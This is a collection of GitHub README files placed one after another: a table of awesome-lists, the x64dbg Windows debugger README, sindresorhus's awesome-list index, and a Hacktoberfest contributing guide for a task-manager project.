| [C++](https://github.com/fffaraz/awesome-cpp) | A curated list of awesome C++ (or C) frameworks, libraries, resources, and shiny things. Inspired by awesome-... stuff | [MIT](https://github.com/fffaraz/awesome-cpp/blob/master/LICENSE) |
| [Go](https://github.com/avelino/awesome-go) | A curated list of awesome Go frameworks, libraries and software | [MIT](https://github.com/avelino/awesome-go/blob/master/LICENSE) |
| [Java](https://github.com/akullpp/awesome-java) | A curated list of awesome frameworks, libraries and software for the Java programming language | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
| [JavaScript](https://github.com/sorrycc/awesome-javascript) | 🐢 A collection of awesome browser-side JavaScript libraries, resources and shiny things | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
| [Lua](https://github.com/LewisJEllis/awesome-lua) | A curated list of quality Lua packages and resources. | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [PHP](https://github.com/ziadoz/awesome-php) | A curated list of amazingly awesome PHP libraries, resources and shiny things | [WTFPL](https://github.com/ziadoz/awesome-php/blob/master/LICENSE.md) |
| [Python](https://github.com/vinta/awesome-python) | A curated list of awesome Python frameworks, libraries, software and resources | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
| [R](https://github.com/qinwf/awesome-R) | A curated list of awesome R packages, frameworks and software | [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode) |
| [Rust](https://github.com/rust-unofficial/awesome-rust) | A curated list of Rust code and resources | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Shell](https://github.com/alebcay/awesome-shell) | A curated list of awesome command-line frameworks, toolkits, guides and gizmos | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Swift](https://github.com/matteocrippa/awesome-swift) | A collaborative list of awesome Swift libraries and resources | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [V](https://github.com/vlang/awesome-v) | A curated list of awesome V frameworks, libraries, software and resources. | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
**[⬆ Back to Index](#index)**
### Projects
| Repository | Description | License |
| --- | --- | --- |
| [50projects50days](https://github.com/bradtraversy/50projects50days) | 50+ mini web projects using HTML, CSS & JS | [MIT](https://github.com/bradtraversy/50projects50days#license) |
| [Build your own X](https://github.com/danistefanovic/build-your-own-x) | 🤓 Build your own (insert technology here) | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [React Projects](https://github.com/ajayns/react-projects) | A collection of projects built on the React library | No License |
| [Vanilla Web Projects](https://github.com/bradtraversy/vanillawebprojects) | Mini projects built with HTML5, CSS & JavaScript. No frameworks or libraries | No License |
**[⬆ Back to Index](#index)**
### Reading List
| Repository | Description | License |
| --- | --- | --- |
| [EthList](https://github.com/Scanate/EthList) | The Comprehensive Ethereum Reading List | No License |
| [Gopher](https://github.com/enocom/gopher-reading-list) | A curated selection of blog posts on Go | [Apache-2.0](https://github.com/enocom/gopher-reading-list/blob/main/LICENSE) |
**[⬆ Back to Index](#index)**
### Security
| Repository | Description | License |
| --- | --- | --- |
| [Hacking](https://github.com/Hack-with-Github/Awesome-Hacking) | A collection of various awesome lists for hackers, pentesters and security researchers | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Web Security](https://github.com/qazbnm456/awesome-web-security) | 🐶 A curated list of Web Security materials and resources. | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
**[⬆ Back to Index](#index)**
### System Design
| Repository | Description | License |
| --- | --- | --- |
| [Grokking System Design](https://github.com/Jeevan-kumar-Raj/Grokking-System-Design) | Systems design is the process of defining the architecture, modules, interfaces, and data for a system to satisfy specified requirements. Systems design could be seen as the application of systems theory to product development. | [GPL-3.0](https://github.com/Jeevan-kumar-Raj/Grokking-System-Design/blob/master/LICENSE) |
| [System Design Interview](https://github.com/checkcheckzz/system-design-interview) | System design interview for IT companies | No License |
| [System Design Primer](https://github.com/donnemartin/system-design-primer) | Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards. | [CC-BY-SA-4.0](https://github.com/donnemartin/system-design-primer/blob/master/LICENSE.txt) |
| [System Design Resources](https://github.com/InterviewReady/system-design-resources) | These are the best resources for System Design on the Internet | [GPL-3.0](https://github.com/InterviewReady/system-design-resources/blob/main/LICENSE) |
**[⬆ Back to Index](#index)**
### Web
| Repository | Description | License |
| --- | --- | --- |
| [Proxy List](https://github.com/clarketm/proxy-list) | A list of free, public, forward proxy servers. UPDATED DAILY! | [MIT](https://github.com/clarketm/proxy-list/blob/master/LICENSE) |
| [Streaming](https://github.com/manuzhang/awesome-streaming) | a curated list of awesome streaming frameworks, applications, etc | [CC-BY-SA-4.0](http://creativecommons.org/licenses/by-sa/4.0/) |
| [Trackerslist](https://github.com/ngosang/trackerslist) | Updated list of public BitTorrent trackers | [GPL-2.0](https://github.com/ngosang/trackerslist/blob/master/LICENSE) |
| [WPO](https://github.com/davidsonfellipe/awesome-wpo) | 📝 A curated list of Web Performance Optimization. Everyone can contribute here! | [MIT](https://github.com/davidsonfellipe/awesome-wpo/blob/main/LICENSE) |
**[⬆ Back to Index](#index)**
|
# x64dbg
<img width="100" src="https://github.com/x64dbg/x64dbg/raw/development/src/bug_black.png"/>
[](https://ci.appveyor.com/project/mrexodia/x64dbg) [](https://translate.x64dbg.com) [](https://sourceforge.net/projects/x64dbg/files/latest/download)
[](https://invite.gg/x64dbg) [](https://telegram.me/x64dbg) [](https://gitter.im/x64dbg/x64dbg) [](https://riot.im/app/#/room/#x64dbg:matrix.org)
An open-source binary debugger for Windows, aimed at malware analysis and reverse engineering of executables you do not have the source code for. There are many features available and a comprehensive [plugin system](https://plugins.x64dbg.com) to add your own. You can find more information on the [blog](https://x64dbg.com/blog)!
## Screenshots
|  |  |
| :--: | :--: |
## Installation & Usage
1. Download a snapshot from [GitHub](https://github.com/x64dbg/x64dbg/releases), [SourceForge](https://sourceforge.net/projects/x64dbg/files/snapshots) or [OSDN](https://osdn.net/projects/x64dbg) and extract it in a location your user has write access to.
2. _Optionally_ use `x96dbg.exe` to register a shell extension and add shortcuts to your desktop.
3. You can now run `x32\x32dbg.exe` if you want to debug a 32-bit executable or `x64\x64dbg.exe` to debug a 64-bit executable! If you are unsure you can always run `x96dbg.exe` and chose your architecture there.
You can also [compile](https://github.com/x64dbg/x64dbg/wiki/Compiling-the-whole-project) x64dbg yourself with a few easy steps!
## Sponsors
[](https://sponsors.x64dbg.com/malcore)
<br>
[](https://sponsors.x64dbg.com/telekom)
## Contributing
This is a community effort and we accept pull requests! See the [CONTRIBUTING](.github/CONTRIBUTING.md) document for more information. If you have any questions you can always [contact us](https://x64dbg.com/#contact) or open an [issue](https://github.com/x64dbg/x64dbg/issues). You can take a look at the [good first issues](https://easy.x64dbg.com/) to get started.
## Credits
- Debugger core by [TitanEngine Community Edition](https://github.com/x64dbg/TitanEngine)
- Disassembly powered by [Zydis](https://zydis.re)
- Assembly powered by [XEDParse](https://github.com/x64dbg/XEDParse) and [asmjit](https://github.com/asmjit)
- Import reconstruction powered by [Scylla](https://github.com/NtQuery/Scylla)
- JSON powered by [Jansson](https://www.digip.org/jansson)
- Database compression powered by [lz4](https://bitbucket.org/mrexodia/lz4)
- Bug icon by [VisualPharm](https://www.visualpharm.com)
- Interface icons by [Fugue](https://p.yusukekamiyamane.com)
- Website by [tr4ceflow](https://tr4ceflow.com)
## Developers
- [mrexodia](https://mrexodia.github.io)
- Sigma
- [tr4ceflow](https://blog.tr4ceflow.com)
- [Dreg](https://www.fr33project.org)
- [Nukem](https://github.com/Nukem9)
- [Herz3h](https://github.com/Herz3h)
- [torusrxxx](https://github.com/torusrxxx)
## Code contributions
You can find an exhaustive list of GitHub contributors [here](https://github.com/x64dbg/x64dbg/graphs/contributors).
## Special Thanks
- Sigma for developing the initial GUI
- All the donators!
- Everybody adding issues!
- People I forgot to add to this list
- [Writers of the blog](https://x64dbg.com/blog/2016/07/09/Looking-for-writers.html)!
- [EXETools community](https://forum.exetools.com)
- [Tuts4You community](https://forum.tuts4you.com)
- [ReSharper](https://www.jetbrains.com/resharper)
- [Coverity](https://www.coverity.com)
- acidflash
- cyberbob
- cypher
- Teddy Rogers
- TEAM DVT
- DMichael
- Artic
- ahmadmansoor
- \_pusher\_
- firelegend
- [kao](https://lifeinhex.com)
- sstrato
- [kobalicek](https://github.com/kobalicek)
- [athre0z](https://github.com/athre0z)
- [ZehMatt](https://github.com/ZehMatt)
- [mrfearless](https://twitter.com/fearless0)
- [JustMagic](https://github.com/JustasMasiulis)
Without the help of many people and other open-source projects, it would not have been possible to make x64dbg what is it today, thank you!
|
<h1 align="center">
<br>
<img width="400" src="https://cdn.rawgit.com/sindresorhus/awesome/master/media/logo.svg" alt="awesome">
<br>
<br>
<br>
</h1>
> A curated list of awesome lists
- [What is an awesome list?](awesome.md)
- [Contribution guide](contributing.md)
- [Creating a list](create-list.md)<br><sup>Please take the time to read this and do an actual effort with your list. All the low-quality submissions are burning me out...</sup>
- [Buy a sticker](https://www.stickermule.com/marketplace/10034-awesome)
[](https://gitter.im/sindresorhus/awesome)
-
Check out my [blog](https://blog.sindresorhus.com) and follow me on [Twitter](https://twitter.com/sindresorhus).
## Table of Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-end Development](#front-end-development)
- [Back-end Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management System](#content-management-system)
- [Miscellaneous](#miscellaneous)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs)
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks)
- [iOS](https://github.com/vsouza/awesome-ios)
- [Android](https://github.com/JStumpp/awesome-android)
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid)
- [Electron](https://github.com/sindresorhus/awesome-electron)
- [Cordova](https://github.com/busterc/awesome-cordova)
- [React Native](https://github.com/jondot/awesome-react-native)
- [Xamarin](https://github.com/benoitjadinon/awesome-xamarin)
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers)
- [OS X](https://github.com/iCHAIT/awesome-osx)
- [Command-Line](https://github.com/herrbischoff/awesome-osx-command-line)
- [Screensavers](https://github.com/aharris88/awesome-osx-screensavers)
- [watchOS](https://github.com/yenchenlin1994/awesome-watchos)
- [JVM](https://github.com/deephacks/awesome-jvm)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws)
- [Windows](https://github.com/RiseLedger/awesome-windows)
- [IPFS](https://github.com/ipfs/awesome-ipfs)
- [Fuse](https://github.com/vinkla/awesome-fuse)
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku)
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript)
- [Promises](https://github.com/wbinnssmith/awesome-promises)
- [Standard Style](https://github.com/feross/awesome-standard)
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch)
- [Tips](https://github.com/loverajoel/jstips)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science)
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules) *(for npm packages)*
- [npm](https://github.com/sindresorhus/awesome-npm)
- [AVA](https://github.com/sindresorhus/awesome-ava) *(Test runner)*
- [Swift](https://github.com/matteocrippa/awesome-swift)
- [Education](https://github.com/hsavit1/Awesome-Swift-Education)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds)
- [Python](https://github.com/vinta/awesome-python)
- [Rust](https://github.com/kud1ing/awesome-rust)
- [Haskell](https://github.com/krispo/awesome-haskell)
- [PureScript](https://github.com/passy/awesome-purescript)
- [Go](https://github.com/avelino/awesome-go)
- [Scala](https://github.com/lauris/awesome-scala)
- [Ruby](https://github.com/markets/awesome-ruby)
- [Ruby Events](https://github.com/planetruby/awesome-events) *(Conferences, Meetups, etc.)*
- [Clojure](https://github.com/razum2um/awesome-clojure)
- [ClojureScript](https://github.com/emrehan/awesome-clojurescript)
- [Elixir](https://github.com/h4cc/awesome-elixir)
- [Elm](https://github.com/isRuslan/awesome-elm)
- [Erlang](https://github.com/drobakowski/awesome-erlang)
- [Julia](https://github.com/svaksha/Julia.jl)
- [Lua](https://github.com/LewisJEllis/awesome-lua)
- [C](https://github.com/aleksandar-todorovic/awesome-c)
- [C/C++](https://github.com/fffaraz/awesome-cpp)
- [R](https://github.com/qinwf/awesome-R)
- [D](https://github.com/zhaopuming/awesome-d)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl)
- [Perl](https://github.com/hachiojipm/awesome-perl)
- [Groovy](https://github.com/kdabir/awesome-groovy)
- [Dart](https://github.com/yissachar/awesome-dart)
- [Java](https://github.com/akullpp/awesome-java)
- [RxJava](https://github.com/eleventigers/awesome-rxjava)
- [Kotlin](https://github.com/JavaBy/awesome-kotlin)
- [OCaml](https://github.com/rizo/awesome-ocaml)
- [Coldfusion](https://github.com/seancoyne/awesome-coldfusion)
- [Fortran](https://github.com/rabbiabram/awesome-fortran)
- [.NET](https://github.com/quozd/awesome-dotnet)
- [PHP](https://github.com/ziadoz/awesome-php)
- [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi)
- [Assembler](https://github.com/mat0thew/awesome-asm)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt)
- [Crystal](https://github.com/veelenga/awesome-crystal)
- [TypeScript](https://github.com/dzharii/awesome-typescript)
## Front-end Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo)
- [Web Tools](https://github.com/lvwzhen/tools)
- [CSS](https://github.com/sotayamashita/awesome-css)
- [Critical-Path (Above-the-fold) Tools](https://github.com/addyosmani/critical-path-css-tools)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css)
- [Protips](https://github.com/AllThingsSmitty/css-protips)
- [React](https://github.com/enaqx/awesome-react)
- [Relay](https://github.com/expede/awesome-relay)
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way)
- [Polymer](https://github.com/Granze/awesome-polymer)
- [Angular 2](https://github.com/AngularClass/awesome-angular2)
- [Angular](https://github.com/gianarb/awesome-angularjs)
- [Backbone](https://github.com/sadcitizen/awesome-backbone)
- [HTML5](https://github.com/diegocard/awesome-html5)
- [SVG](https://github.com/willianjusten/awesome-svg)
- [Canvas](https://github.com/raphamorim/awesome-canvas)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout)
- [Dojo Toolkit](https://github.com/peterkokot/awesome-dojo)
- [Inspiration](https://github.com/NoahBuscher/Inspire)
- [Ember](https://github.com/nmec/awesome-ember)
- [Android UI](https://github.com/wasabeef/awesome-android-ui)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui)
- [Meteor](https://github.com/Urigo/awesome-meteor)
- [BEM](https://github.com/sturobson/BEM-resources)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox)
- [Web Typography](https://github.com/deanhume/typography)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y)
- [Material Design](https://github.com/sachin1092/awesome-material)
- [D3](https://github.com/wbkd/awesome-d3)
- [Emails](https://github.com/jonathandion/awesome-emails)
- [jQuery](https://github.com/peterkokot/awesome-jquery)
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know)
- [Web Audio](https://github.com/notthetup/awesome-webaudio)
- [Offline-First](https://github.com/pazguille/offline-first)
- [Static Website Services](https://github.com/aharris88/awesome-static-website-services)
- [A-Frame VR](https://github.com/aframevr/awesome-aframe) *(Virtual reality)*
- [Cycle.js](https://github.com/vic/awesome-cyclejs)
- [Text Editing](https://github.com/dok/awesome-text-editing)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design)
- [Vue.js](https://github.com/vuejs/awesome-vue)
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette)
- [Aurelia](https://github.com/behzad888/awesome-aurelia)
- [Charting](https://github.com/zingchart/awesome-charting)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic2)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools)
## Back-end Development
- [Django](https://github.com/rosarior/awesome-django)
- [Flask](https://github.com/humiaozuzu/awesome-flask)
- [Docker](https://github.com/veggiemonk/awesome-docker)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant)
- [Pyramid](https://github.com/uralbash/awesome-pyramid)
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp)
- [Symfony](https://github.com/sitepoint/awesome-symfony)
- [Education](https://github.com/Symfonisti/awesome-symfony-education)
- [Laravel](https://github.com/chiraggude/awesome-laravel)
- [Education](https://github.com/fukuball/Awesome-Laravel-Education/blob/master/langs/en_US.md)
- [Rails](https://github.com/ekremkaraca/awesome-rails)
- [Gems](https://github.com/hothero/awesome-rails-gem)
- [Phalcon](https://github.com/sergeyklay/awesome-phalcon)
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess)
- [nginx](https://github.com/fcambus/nginx-resources)
- [Dropwizard](https://github.com/stve/awesome-dropwizard)
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes)
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses)
- [Data Science](https://github.com/okulbilisim/awesome-datascience)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials)
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp)
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics)
- [Cryptography](https://github.com/MaciejCzyzewski/retter)
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning) *(Neural networks)*
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision)
- [Open Source Society University](https://github.com/open-source-society/computer-science)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming)
- [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis)
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn)
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata)
- [Public Datasets](https://github.com/caesar0301/awesome-public-datasets)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop)
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering)
- [Streaming](https://github.com/manuzhang/awesome-streaming)
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks)
- [Algorithms](https://github.com/tayllan/awesome-algorithms)
- [Algorithm Visualizations](https://github.com/enjalot/algovis)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming)
- [Math](https://github.com/rossant/awesome-math)
## Books
- [Free Programming Books](https://github.com/vhf/free-programming-books)
- [Free Software Testing Books](https://github.com/ligurio/free-software-testing-books/blob/master/free-software-testing-books.md)
- [Go Books](https://github.com/dariubs/GoBooks)
- [R Books](https://github.com/RomanTsegelskyi/rbooks)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks)
- [Vim](https://github.com/mhinz/vim-galore)
- [Emacs](https://github.com/emacs-tw/awesome-emacs)
- [Atom](https://github.com/mehcode/awesome-atom)
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode)
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools)
- [Game Talks](https://github.com/hzoo/awesome-gametalks)
- [Godot](https://github.com/Calinou/awesome-godot) *(Game engine)*
- [Open Source Games](https://github.com/leereilly/games)
- [Unity](https://github.com/RyanNielson/awesome-unity) *(Game engine)*
- [Chess](https://github.com/hkirat/awesome-chess)
- [LÖVE](https://github.com/JanWerder/awesome-love2d) *(Game engine)*
- [PICO-8](https://github.com/felipebueno/awesome-PICO-8) *(Fantasy console)*
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins)
- [Dev Env](https://github.com/jondot/awesome-devenv)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles)
- [Shell](https://github.com/alebcay/awesome-shell)
- [Command-Line Apps](https://github.com/aharris88/awesome-cli-apps)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins)
- [GitHub](https://github.com/phillipadsmith/awesome-github)
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet)
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet)
- [Git Tips](https://github.com/git-tips/tips)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons)
- [SSH](https://github.com/moul/awesome-ssh)
- [FOSS for Developers](https://github.com/httpsGithubParty/FOSS-for-Dev)
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi) *(Scifi)*
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy)
- [Podcasts](https://github.com/guipdutra/awesome-geek-podcasts)
- [Email Newsletters](https://github.com/vredniy/awesome-newsletters)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql/blob/gh-pages/index.md)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb)
- [Neo4j](https://github.com/Neueda4j/awesome-neo4j)
- [Doctrine](https://github.com/TomasVotruba/awesome-doctrine) *(PHP ORM)*
- [MongoDB](https://github.com/ramnes/awesome-mongodb)
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media)
- [Fonts](https://github.com/brabadu/awesome-fonts)
- [Codeface](https://github.com/chrissimpkins/codeface) *(Text editor fonts)*
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources)
- [GIF](https://github.com/ibaaj/awesome-gif)
- [Music](https://github.com/ciconia/awesome-music)
- [Open Source Documents](https://github.com/nacyot/awesome-opensource-documents)
## Learn
- [CLI Workshoppers/Adventures](https://github.com/therebelrobot/awesome-workshopper)
- [Learn to Program](https://github.com/karlhorky/learn-to-program)
- [Speaking](https://github.com/matteofigus/awesome-speaking)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning)
- [Computer History](https://github.com/watson/awesome-computer-history)
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec)
- [Security](https://github.com/sbilly/awesome-security)
- [CTF](https://github.com/apsdehal/awesome-ctf) *(Capture the Flag)*
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis)
- [Android Security](https://github.com/ashishb/android-security-awesome)
- [Hacking](https://github.com/carpedm20/awesome-hacking)
- [Honeypots](https://github.com/paralax/awesome-honeypots)
- [Incident Response](https://github.com/meirwah/awesome-incident-response)
## Content Management System
- [Umbraco](https://github.com/leekelleher/awesome-umbraco)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms)
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json)
- [Discounts for Student Developers](https://github.com/najela/discount-for-student-dev)
- [Slack](https://github.com/matiassingers/awesome-slack)
- [Communities](https://github.com/filipelinhares/awesome-slack)
- [Conferences](https://github.com/RichardLitt/awesome-conferences)
- [GeoJSON](https://github.com/tmcw/awesome-geojson)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin)
- [Radio](https://github.com/kyleterry/awesome-radio)
- [Awesome](https://github.com/sindresorhus/awesome)
- [Analytics](https://github.com/onurakpolat/awesome-analytics)
- [Open Companies](https://github.com/opencompany/awesome-open-company)
- [REST](https://github.com/marmelab/awesome-rest)
- [Selenium](https://github.com/christian-bromann/awesome-selenium)
- [Endangered Languages](https://github.com/RichardLitt/endangered-languages)
- [Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd)
- [Services Engineering](https://github.com/mmcgrana/services-engineering)
- [Free for Developers](https://github.com/ripienaar/free-for-dev)
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin/)
- [Answers](https://github.com/jugoncalves/awesome-answers) *(Stack Overflow, Quora, etc)*
- [Sketch](https://github.com/diessica/awesome-sketch) *(OS X app)*
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job)
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates)
- [Readme](https://github.com/matiassingers/awesome-readme)
- [Tools](https://github.com/cjbarber/ToolsOfTheTrade)
- [Styleguides](https://github.com/RichardLitt/awesome-styleguides)
- [Design and Development Guides](https://github.com/NARKOZ/guides)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted)
- [FOSS Production Apps](https://github.com/jwaterfaucett/awesome-foss-apps)
- [Gulp](https://github.com/alferov/awesome-gulp)
- [AMA](https://github.com/sindresorhus/amas) *(Ask Me Anything)*
- [Answers](https://github.com/stoeffel/awesome-ama-answers)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography/)
- [OpenGL](https://github.com/eug/awesome-opengl)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity)
- [GraphQL](https://github.com/chentsulin/awesome-graphql)
- [Transit](https://github.com/luqmaan/awesome-transit)
- [Research Tools](https://github.com/emptymalei/awesome-research)
- [Niche Job Boards](https://github.com/wfhio/awesome-job-boards)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz)
- [Social Media Share Links](https://github.com/vinkla/share-links)
- [JSON Datasets](https://github.com/jdorfman/awesome-json-datasets)
- [Microservices](https://github.com/mfornos/awesome-microservices)
- [Unicode Code Points](https://github.com/Codepoints/awesome-codepoints)
- [Internet of Things](https://github.com/HQarroum/awesome-iot)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners)
- [Bluetooth Beacons](https://github.com/beaconinside/awesome-beacon)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interviews)
- [Ripple](https://github.com/vhpoet/awesome-ripple) *(Open-source distributed settlement network)*
- [Katas](https://github.com/gmontalvoriv/awesome-katas)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism)
- [TAP](https://github.com/sindresorhus/awesome-tap) *(Test Anything Protocol)*
- [Robotics](https://github.com/Kiloreux/awesome-robotics)
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt) *(an "Internet of Things" connectivity protocol)*
- [Hacking Spots](https://github.com/diasdavid/awesome-hacking-spots)
- [For Girls](https://github.com/cristianoliveira/awesome4girls)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal) *(Node.js CLI framework)*
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr) *(Goal setting & communication best practices)*
- [Vulkan](https://github.com/vinjn/awesome-vulkan)
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX) *(Typesetting language)*
## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Sindre Sorhus](http://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.
|
# Task Manager
## _Links_
- [_Contributing_](#contributing)
- [_Guidlines_](#important-guidelines)
- [_Folder Structure_](#the-folder-structure)
- [_Overview_](#a-brief-overview)
## **Contributing**
Contributions are always welcome!
See <a href='#contributing'>Contributing</a> for ways to get started.
Please adhere to this project's `code of conduct`.
### **Step 1:** Fork the repository
Fork this repository by clicking on the fork button on the top of this page. This will create a copy of this repository in your account.
### **Step 2:** Clone Repo
Now clone the forked repository to your machine. Go to your GitHub account, open the forked repository, click on the code button and then click the copy to clipboard icon.
Open a terminal and run the following git command:
```bash
git clone https://github.com/mlsacbvp/task-manager
```
### **Step 2:** Go to issues tab
- Go to the MLSAC project repository => In the Issues section => Choose an issue you think you can resolve => Comment that you want to work on it.
### **Step 3:** Sync changes
If the issue is assigned to you, you can work on it and send a PR within 2-3 days after syncing new changes.
</br>
## Important guidelines
1. Without any assigned issue, don’t send a PR, and if you don’t find issues at a particular time, then visit the repo after 2-3 days.
2. If you send a PR without being assigned an issue, your PR will be marked “spam” or “invalid”.
3. After getting assigned an issue, you must send a PR within 2-3 days otherwise we will re-assigning that issue to someone else.
#### **Read the official hacktoberfest guidelines:** 👇🏻👇🏻👇🏻
[https://hacktoberfest.com/participation/#pr-mr-details](https://hacktoberfest.com/participation/#pr-mr-details)
[https://hacktoberfest.com/participation/#spam](https://hacktoberfest.com/participation/#spam)
### More Resources 📚
1. [What is Hacktoberfest](https://choudhary-vaibhav.medium.com/what-is-hacktoberfest-and-why-should-you-take-part-in-it-e02b01155869)
2. [How to Use git](https://www.digitalocean.com/community/cheatsheets/how-to-use-git-a-reference-guide)
